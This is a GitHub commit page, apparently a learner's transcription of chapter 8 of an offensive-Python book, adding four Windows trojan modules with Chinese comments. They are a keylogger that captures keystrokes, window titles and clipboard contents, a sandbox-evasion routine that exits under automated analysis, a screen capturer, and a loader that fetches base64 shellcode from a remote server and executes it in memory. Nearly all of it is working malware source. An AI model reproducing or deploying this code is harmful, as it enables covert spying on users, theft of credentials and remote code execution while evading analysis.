Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly
Appearance settings

Commit f34879c

Browse filesBrowse files
giantbranchgiantbranch
committed
finished chapter 8
1 parent 8664a24 commit f34879c
Copy full SHA for f34879c

File tree

4 files changed

+257
-0
lines changed
Filter options

4 files changed

+257
-0
lines changed

‎我手敲的代码(中文注释)/chapter8/keylogger.py

Copy file name to clipboard
+79Lines changed: 79 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,79 @@
1+
#-*- coding:utf8 -*-
2+
3+
from ctypes import *
4+
import pythoncom
5+
import pyHook
6+
import win32clipboard
7+
8+
user32 = windll.user32
9+
kernel32 = windll.kernel32
10+
psapi = windll.psapi
11+
current_window = None
12+
13+
def get_current_process():
14+
15+
# 获取前台窗口句柄
16+
hwnd = user32.GetForegroundWindow()
17+
18+
# 获得进程ID
19+
pid = c_ulong(0)
20+
user32.GetWindowThreadProcessId(hwnd, byref(pid))
21+
22+
# 保存当前进程ID
23+
process_id = "%d" % pid.value
24+
25+
# 申请内存
26+
executable = create_string_buffer("\x00" * 512)
27+
# 打开进程
28+
h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
29+
# 获取进程所对应的可执行文件的名字
30+
psapi.GetModuleBaseNameA(h_process, None, byref(executable),512)
31+
32+
# 读取窗口标题
33+
window_title = create_string_buffer("\x00" * 512)
34+
length = user32.GetWindowTextA(hwnd, byref(window_title), 512)
35+
36+
# 输出进程相关信息
37+
print
38+
print "[ PID: %s - %s - %s]" % (process_id, executable.value, window_title.value)
39+
print
40+
41+
# 关闭句柄
42+
kernel32.CloseHandle(hwnd)
43+
kernel32.CloseHandle(h_process)
44+
45+
def keyStore(event):
46+
global current_window
47+
48+
# 检查目标是否切换了窗口
49+
if event.WindowName != current_window:
50+
current_window = event.WindowName
51+
get_current_process()
52+
53+
# 检测按键是否为常规按键(非组合键等)
54+
if event.Ascii > 32 and event.Ascii < 127:
55+
print chr(event.Ascii),
56+
else:
57+
# 若输入为[CTRL-V],则获取剪切板内容
58+
if event.Key == "V":
59+
win32clipboard.OpenClipboard()
60+
pasted_value = win32clipboard.GetClipboardData()
61+
win32clipboard.CloseClipboard()
62+
63+
print "[PASTE] - %s" % (pasted_value),
64+
65+
else:
66+
print "[%s]" % event.Key,
67+
68+
# 返回直到下一个钩子事件被触发
69+
return True
70+
71+
# 创建和注册钩子函数管理器
72+
k1 =pyHook.HookManager()
73+
#
74+
k1.KeyDown = keyStore
75+
76+
# 注册键盘记录的钩子，然后永久执行
77+
k1.HookKeyboard()
78+
pythoncom.PumpMessages()
79+

‎我手敲的代码(中文注释)/chapter8/sandbox_detect.py

Copy file name to clipboard
+122Lines changed: 122 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,122 @@
1+
#-*- coding:utf8 -*-
2+
3+
import ctypes
4+
import random
5+
import time
6+
import sys
7+
8+
user32 = ctypes.windll.user32
9+
kernel32 = ctypes.windll.kernel32
10+
11+
# 用于记录鼠标单击，键盘按键和双击的总数量
12+
keystrokes = 0
13+
mouse_clicks = 0
14+
double_clicks = 0
15+
16+
# 定义LASTINPUTINFO结构体
17+
class LASTINPUTINFO(ctypes.Structure):
18+
_fields_ = [
19+
("cbsize", ctypes.c_uint), # 结构体大小
20+
("dwTime", ctypes.c_ulong) # 系统最后输入时间
21+
]
22+
23+
def get_last_input():
24+
struct_lastinputinfo = LASTINPUTINFO()
25+
struct_lastinputinfo.cbSize = ctypes.sizeof(LASTINPUTINFO)
26+
27+
# 获得用户最后输入的相关信息
28+
user32.GetLastInputInfo(ctypes.byref(struct_lastinputinfo))
29+
30+
# 获取系统开机以来的时间
31+
run_time = kernel32.GetTickCount()
32+
33+
elapsed = run_time - struct_lastinputinfo.dwTime
34+
print "[*] It's been %d milliseconds since the last input event." % elapsed
35+
36+
return elapsed
37+
38+
# 测试后删除下面代码，这只是测试上面代码能否运行成功
39+
# while True:
40+
# get_last_input()
41+
# time.sleep(1)
42+
43+
def get_key_press():
44+
global mouse_clicks
45+
global keystrokes
46+
47+
for i in range(0,0xff):
48+
# 检测某个按键是否被按下
49+
if user32.GetAsyncKeyState(i) == -32767:
50+
# 左键点击为0x1
51+
if i == 0x1:
52+
# 鼠标单击的数目和时间
53+
mouse_clicks += 1
54+
return time.time()
55+
# 键盘ASCII按键是从23-127（具体可看ASCII表），为可打印字符，这就获取了键盘的敲击次数
56+
elif i > 32 and i < 127:
57+
keystrokes += 1
58+
59+
return None
60+
61+
def detect_sandbox():
62+
global mouse_clicks
63+
global keystrokes
64+
65+
# 定义键盘，单击，双击的最大值（阀值）
66+
max_keystrokes = random.randint(10,25)
67+
max_mouse_clicks = random.randint(5,25)
68+
max_double_clicks = 10
69+
70+
double_clicks = 0
71+
double_click_threshold = 0.250 #秒为单位
72+
first_double_click = None
73+
74+
average_mousetime = 0
75+
max_input_threshold = 30000 #毫秒为单位
76+
77+
previous_timestamp = None
78+
detection_complete = False
79+
80+
# 获取用户最后一次输入之后经历的时间
81+
last_input = get_last_input()
82+
83+
# 超过设定的阀值时强制退出，就是用户最后一次输入之后经历的时间太长，都没用户活动了
84+
if last_input >= max_input_threshold:
85+
sys.exit(0)
86+
87+
# 循环检测
88+
while not detection_complete:
89+
90+
# 获取按下鼠标的时间，不懂的看函数的返回值
91+
keypress_time = get_key_press()
92+
93+
if keypress_time is not None and previous_timestamp is not None:
94+
# 计算两次点击的相隔时间
95+
elapsed = keypress_time - previous_timestamp
96+
# 间隔时间短的话，则为用户双击
97+
if elapsed <= double_click_threshold:
98+
double_clicks += 1
99+
if first_double_click is None:
100+
# 获取第一次双击的时间
101+
first_double_click = time.time()
102+
else:
103+
# 是否是沙盒的管理者在沙盒中模仿用户的点击（因为普通用户通常不会双击这么多）
104+
if double_clicks == max_double_clicks:
105+
# 短时间内，鼠标点击达到了我们设定的最大值（最大次数*双击间隔）
106+
if keypress_time - first_double_click <= (max_double_clicks * double_click_threshold):
107+
sys.exit(0)
108+
# 是否达到了我们检测的最大数量，是就退出
109+
if keystrokes >= max_keystrokes and double_clicks >= max_double_clicks and mouse_clicks >=max_mouse_clicks:
110+
return
111+
112+
previous_timestamp = keypress_time
113+
elif keypress_time is not None:
114+
previous_timestamp = keypress_time
115+
116+
117+
118+
detect_sandbox()
119+
print "We are Ok!"
120+
121+
122+

‎我手敲的代码(中文注释)/chapter8/screenshotter.py

Copy file name to clipboard
+37Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
#-*- coding:utf8 -*-
2+
3+
import win32gui
4+
import win32ui
5+
import win32con
6+
import win32api
7+
8+
# 获取窗口桌面的句柄
9+
hdesktop = win32gui.GetDesktopWindow()
10+
11+
# 获得显示屏的像素尺寸
12+
width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
13+
height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
14+
left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
15+
top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)
16+
17+
# 创建设备描述表
18+
desktop_dc = win32gui.GetWindowDC(hdesktop)
19+
img_dc = win32ui.CreateDCFromHandle(desktop_dc)
20+
21+
# 创建基于内存的设备描述表,用于储存我们捕获到的图片的数据，直到我们保存到文件
22+
mem_dc = img_dc.CreateCompatibleDC()
23+
24+
# 创建位图对象
25+
screenshot = win32ui.CreateBitmap()
26+
screenshot.CreateCompatibleBitmap(img_dc, width, height)
27+
mem_dc.SelectObject(screenshot)
28+
29+
# 复制屏幕到我们的内存设备描述表中
30+
mem_dc.BitBlt((0,0), (width,height), img_dc, (left, top), win32con.SRCCOPY)
31+
32+
# 将位图保存到文件中
33+
screenshot.SaveBitmapFile(mem_dc, "C:\\test.bmp")
34+
35+
# 释放对象
36+
mem_dc.DeleteDC()
37+
win32gui.DeleteObject(screenshot.GetHandle())

‎我手敲的代码(中文注释)/chapter8/shell_exec.py

Copy file name to clipboard
+19Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
#-*- coding:utf8 -*-
2+
3+
import urllib2
4+
import ctypes
5+
import base64
6+
7+
# 从我们搭建的服务器下下载shellcode
8+
url = "http://10.10.10.128:8000/shellcode.exe"
9+
response = urllib2.urlopen(url)
10+
11+
12+
# 解码shellcode
13+
shellcode = base64.b64decode(response.read())
14+
# 申请内存空间
15+
shellcode_buffer = ctypes.create_string_buffer(shellcode, len(shellcode))
16+
# 创建shellcode的函数指针
17+
shellcode_func = ctypes.cast(shellcode_buffer, ctypes.CFUNCTYPE(ctypes.c_void_p))
18+
# 执行shellcode
19+
shellcode_func()

0 commit comments

Comments
0 (0)
Morty Proxy This is a proxified and sanitized view of the page, visit original site.